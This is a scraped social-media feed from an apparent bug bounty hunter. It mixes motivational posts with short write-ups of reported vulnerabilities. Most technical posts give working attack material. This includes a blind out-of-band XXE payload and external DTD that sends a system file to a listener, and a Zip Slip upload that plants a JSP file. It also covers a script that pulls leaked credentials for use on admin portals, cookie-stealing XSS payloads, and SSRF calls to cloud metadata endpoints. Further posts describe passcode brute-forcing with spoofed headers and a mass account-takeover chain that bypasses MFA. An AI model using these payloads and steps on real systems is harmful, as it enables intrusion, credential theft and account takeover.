Ahsan Khan (@hunter0x7) header
Ahsan Khan (@hunter0x7) profile picture

[Hacker + lover of bash] I Don't know how to hack but i know how to pwnd!

Joined January 2019
My spotlight with bugcrowd 🤗🤗
While he hits some pretty big bounties, you might be surprised how @hunter0x7 got started in bug hunting. Join us for this researcher spotlight and down to earth chat with Ahsan Khan! bgcd.co/33SPAcH #ItTakesACrowd
33
26
4
498
Critical: Client-Side Encryption Collapse site.com ↓ some_javascript.js ↓ Line no 80519 → encObj + base64 key ↓ atob(val) → "Encoded_Password" ↓ CryptoJS.AES.decrypt(encObj, passphrase) ↓ 55 configuration properties → 107 operational secrets exposed → Azure AD client_secret → OAuth client_credentials flow → RSA public keys → Forge encrypted /enc/ API requests → HMAC key → Backend-accepted payload signing → Direct Line token → Production chatbot access → Monitoring / RUM keys → Telemetry manipulation → Auth0 + reCAPTCHA config → Auth flow manipulation → 31+ encrypted authentication endpoints mapped ↓ Use extracted Azure AD credentials ↓ Request token from Microsoft OAuth endpoint (client_credentials) ↓ Receive valid JWT with high-privilege role (e.g., AllAccess) ↓ “Super token” accepted by backend across protected API routes (No user interaction required, role-based authorization granted) ↓ All sensitive authentication and account endpoints were wrapped in client-side hybrid encryption → Every request payload encrypted in browser → AES-256-CBC used for body encryption → RSA-OAEP used to wrap per-request AES key → Server accepts any request that decrypts successfully → Decryption success treated as implicit authorization ↓ Reverse-engineer encryption module (@**6246) → Algorithm: AES-256-CBC + RSA-OAEP (SHA-512) → Random 32-byte AES key per request → IV derived client-side → AES key wrapped with embedded RSA public key (promocode_pem) → Final format: { "key": base64(RSA_key), "body": hex(AES_ciphertext) } ↓ Hook JSON.stringify + XMLHttpRequest ↓ Capture plaintext BEFORE encryption (credentials, OTPs, tokens) Capture encrypted wrapper AFTER encryption Capture correlated server responses ↓ Analyze MFA implementation ↓ IP-based rate limiting only (lockout resets on IP change) OTP expiration not strictly enforced server-side Encrypted payload fields trusted after decryption ↓ Mass takeover method ↓ 1. Trigger MFA or password reset 2. Rotate IP to bypass rate limiting 3. Reuse or brute-force OTP under weak enforcement 4. Complete password reset flow 5. Authenticate as victim 6. Capture decrypted OTP and auth tokens via runtime hook 7. Reuse valid 2FA tokens for subsequent authenticated requests ↓ Full attack chain achieved: → Extract secrets from client bundle → Generate high-privilege JWT (“super token”) → Read any plaintext request (credentials, PII, tokens) → Forge any encrypted request the server will accept → Bypass MFA protections via IP rotation → Reset victim passwords → Decrypt authentication flows in runtime → Mass account takeover
24
149
12
965
92,161
There were 2 choices, Get more into bug bounties and create your own stuff to earn a lot of $$. & Get a better person. Chosen the 2nd, that’s why I’m not that active on X. Thank you everyone, I’ve seen that a lot of people get motivation from my tweets. I will keep doing that.
7
1
61
4,779
It’s been a decade and still: I can work the way i did a decade ago: 12-18 hours a day Same mentality Same hard work I would win or die trying…
8
3
1
141
10,169
Lets report 100 submissions.
25
48
3
330
58,750
Update no 12: Reported 70 submissions (total). Critical: Zip Slip (RCE) * Uploading an invalid ZIP file (e.g., an empty file named empty.zip) triggers the following error response: ``` An error occurred while processing your SCORM package. The package may not be in the proper format. The error is: zip END header not found ``` * The error message `zip END header not found` originates from the Java standard library java.util.zip, confirming the backend ZIP handling mechanism. * A crafted ZIP file containing entries with directory traversal sequences (e.g., ../../../../../../usr/local/:)/webapps/login/helloworld.jsp) can be uploaded. * Upon extraction, the application stores the malicious file at the absolute path /usr/local/:)/webapps/login/helloworld.jsp. * The uploaded file becomes publicly accessible via: https://:).com/webapps/login/helloworld.jsp Critical: Blind OOB XXE (EXCEL file) * Added the payload to: `[Content_Types].xml` ``` <?xml version="1.0" ?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://1337:1337/x.dtd"> %xxe;]> ``` x.dtd ` <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://1337:1338/?x=%file;'>"> %eval; %exfil; ` * Listening on 1338. * Uploaded the excel file and ~Pwn. Critical: ~Pwnd Admin Panel * Deep subdomain enumeration and collected all the subdomains. * Search the same subdomains on Osintleak. * Downloaded all the leaks File: creds.json Use the following script to remove all the junk and the output will be the following: user:pass `` import json import sys def extract_credentials(input_file, output_file): try: with open(input_file, "r", encoding="utf-8") as file: data = json.load(file) credentials = [] for entry in data: # Ensure all possible username/email fields are considered email_or_username = entry.get("email", "").strip() or entry.get("username", "").strip() password = entry.get("password", "").strip() # Check if both username/email and password exist if email_or_username and password: credentials.append(f"{email_or_username}:{password}") # Save to output file with open(output_file, "w", encoding="utf-8") as output: output.write("\n".join(credentials)) print(f"Extracted credentials saved to {output_file}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python extract_credentials.py input.json output.txt") sys.exit(1) input_json = sys.argv[1] output_txt = sys.argv[2] extract_credentials(input_json, output_txt) `` * Now use the above leaked creds on all the admin portals you found while subdomain enumeration. Critical: Joining any Meeting * The application uses meeting IDs and passcodes to restrict access to video calls, enforced by a WAF that blocks IPs after ~100 incorrect attempts. * This protection was bypassed by adding a rotating X-Forwarded-For header (e.g., 127.0.0.1 to 127.0.0.255) to each request, preventing the WAF from detecting repeated brute-force attempts. Request: `` POST /v1/services/xx/meeting?pairing=sip&loc=true HTTP/2 Host: site.com X-Forwarded-For: 127.0.0.1 { "meetingNumericId": "1337", "meetingPasscode": "1234", .. } `` * The attack was executed using Intruder in Pitchfork mode, where payload 1 cycled the spoofed IPs and payload 2 brute-forced the passcodes until a valid one was found. * Once a correct passcode was identified, the attacker successfully joined a live meeting without authorization. * To find valid meetingNumericId values in the first place, another vulnerable endpoint was abused: `` GET /v1/meetingId/1337?_= HTTP/2 Host: site.com `` * This endpoint returned distinct responses for valid vs. invalid meeting IDs, enabling efficient enumeration of active session IDs.
3
22
1
124
9,512
Update no 11: Reported 66 submissions (total). Critical: API Key Permission Bypass API Key was used to do financial stuff (Payments, Invoices, Transactions etc). Created the API key with lower permissions: (Read only to Bookmarks) Went to API Docs; Used bash (Regex) to collect all the endpoints, GET, Post, PUT, Delete, & PATCH and saved all the endpoints to pwn.txt Added API Key: sed -i 's/$/ -u API-Key:/' all_requests_curl.txt > pwn.txt RAN the loop for all the requests (CURL): while IFS= read -r line; do echo -e "Executing: $line\n"; eval "$line"; echo -e "\n---------------------------------\n"; sleep 2; done < pwn.txt Found 50+ endpoints where the API Key with read only bookmarks permission could generate payments, transactions, invoices or even approve payouts.
4
7
43
5,628
Every day when I’m going to sleep, my body hurts, and I feel like I have worked for years. Then every day, I have to wake up—it’s really hard to sleep less and work hard. But there is a relief where I smile; I won’t die regretting that I didn’t give my 100%. If you want to achieve it, you need to be unbalanced or mad.
5
8
2
87
6,624
Update no 10: Reported 65 submissions (total). 1. Critical: PII (Millions of users/data) Don't skip GCP buckets; you can test them the same way you test S3 buckets. Tool used: gsutil; Example: gsutil ls gs://bucket-name/ 2. High: Site-Wide Privilege Escalation When your done with the testing (Burpsuite), Go to Target => Site map => Select the domain/api; Right click => click on `Copy URLs in the host` => Bruteforce all the endpoints with lower privileged user cookies; You will access some restricted endpoints; Now go for add/edit/delete manually for the ones which are accessed. 3. XSS [Bypass]: <p><img class="equation_image" title="<img src onerror=alert(document.cookie)>" src="/equation_images/%253Cimg%2520src%2520onerror%253Dalert(document.cookie)%253E?scale=1" alt="LaTeX: <img src onerror=alert(document.cookie)>" data-equation-content="<img src onerror=alert(document.cookie)>" data-ignore-a11y-check="" /></p> 4. High: IDOR Used autorize extension (Burp); Don't depend on it; Focus on manual testing. 5. 0-day: :)
4
31
1
144
10,311
Update no 9: Reported 60 submissions (total). Critical: FTP Accessed [Anonymously] Port 990 was open; Command: lftp -e "set ssl:verify-certificate no" ftps://{IP-Here}:990 Critical: Admin Portal Accessed Found creds on github Stored XSS: <object/data=javascript:alert(document.cookie)> IDOR: Accessing Protected Programs Disabled on site.com/prog/{prog-name} Accessed: site.com/API/ID/st/ID/?*=
3
3
85
5,909
Bug bounty will rise again soon.
3
3
72
6,450
Update no 8: Reported 56 submissions (total). Critical - Portal Accessed via github leak: Don't forget to check Pull Requests while checking the leaks in github; Found password: github.com/xx/developers/pul… Critical - RSA Key Disclosed (Github) Found RSA key for SSH on github.
4
1
1
35
5,994
High - SSRF to Unauthorized Access to Internal Resources * Closed ports or services return errors like: Execution of 'GET Request' failed with error: connect ECONNREFUSED 127.0.0.1:80 * Open ports, such as 9001, provide indicative responses, e.g.: Execution of 'GET Request' failed with error: Request failed with status code 404 "404 page not found\n" * Exploited Endpoint: http://127.0.0.1:9001/2018-06-01/runtime/invocation/next The response to the above request exposed sensitive data such as JWT tokens, execution identifiers, and runtime configuration details. High - API Key disclosed in Js file (extension JS-Miner)
1
30
4,343
Critical - Sensitive Information Disclosure via Custom JavaScript Feature Added JavaScript code in the custom code feature: `` export default async function run({ execution_id, input, data }) {     return {         env: process.env,     }; } `` Response => API Keys and Tokens.
5
12
2,566
Critical - SSRF to Azure Metadata Disclosure There was a feature to add an HTTP Request function; In the HTTP Request function, Added the URL as: http://169.254.169.254/metadata/instance?api-version=2021-02-01 with a custom header: Metadata: true.
4
30
2,755
I can see your pain (new bug hunters), I can see that it’s really hard to find bugs. I know some of you are working for years but didn’t succeed like the way you should be, I just want to let all of you know who are suffering, I am with you guys, I believe in you guys, I know no one believes in you, People call you a failure, Lets convert this pain into something big something worthy ❤️‍🩹.
17
30
5
242
18,075
It does hurt~
2
7
1
34
4,897
I know many of you are waiting for my tweets, but the thing is, I only post about my findings or things related to me—I don’t just Google stuff and share it. I am lost for months not because i am not working, That's because I am lost in something big.
3
2
123
7,506
3. SSRF: * Scanned internal ports. * Found port 9001, Accessed http://127.0.0.1:9001/2018-06-01/runtime/invocat.ion/next * Found JWT and other secrets on the above endpoint.
2
2
22
3,131
You can test SSRF both manually or just use: github.com/swisskyrepo/Paylo… BTW i focus on the manual testing + use the above list as well.
1
16
2,861
2: <p><img class="equation_image" title=""'<img/src=x onError="`${x}`;alert(document.cookie);">" src="/equation_images/%2522'%253Cimg%252Fsrc%253Dx%2520onError%253D%2522%2560%2524%257Bx%257D%2560%253Balert(document.cookie)%253B%2522%253E?scale=1" alt="LaTeX: "'<img/src=x onError="`${x}`;alert(document.cookie);">" data-equation-content=""'<img/src=x onError="`${x}`;alert(document.cookie);">" data-ignore-a11y-check="" />aaa</p>
1
6
23
3,601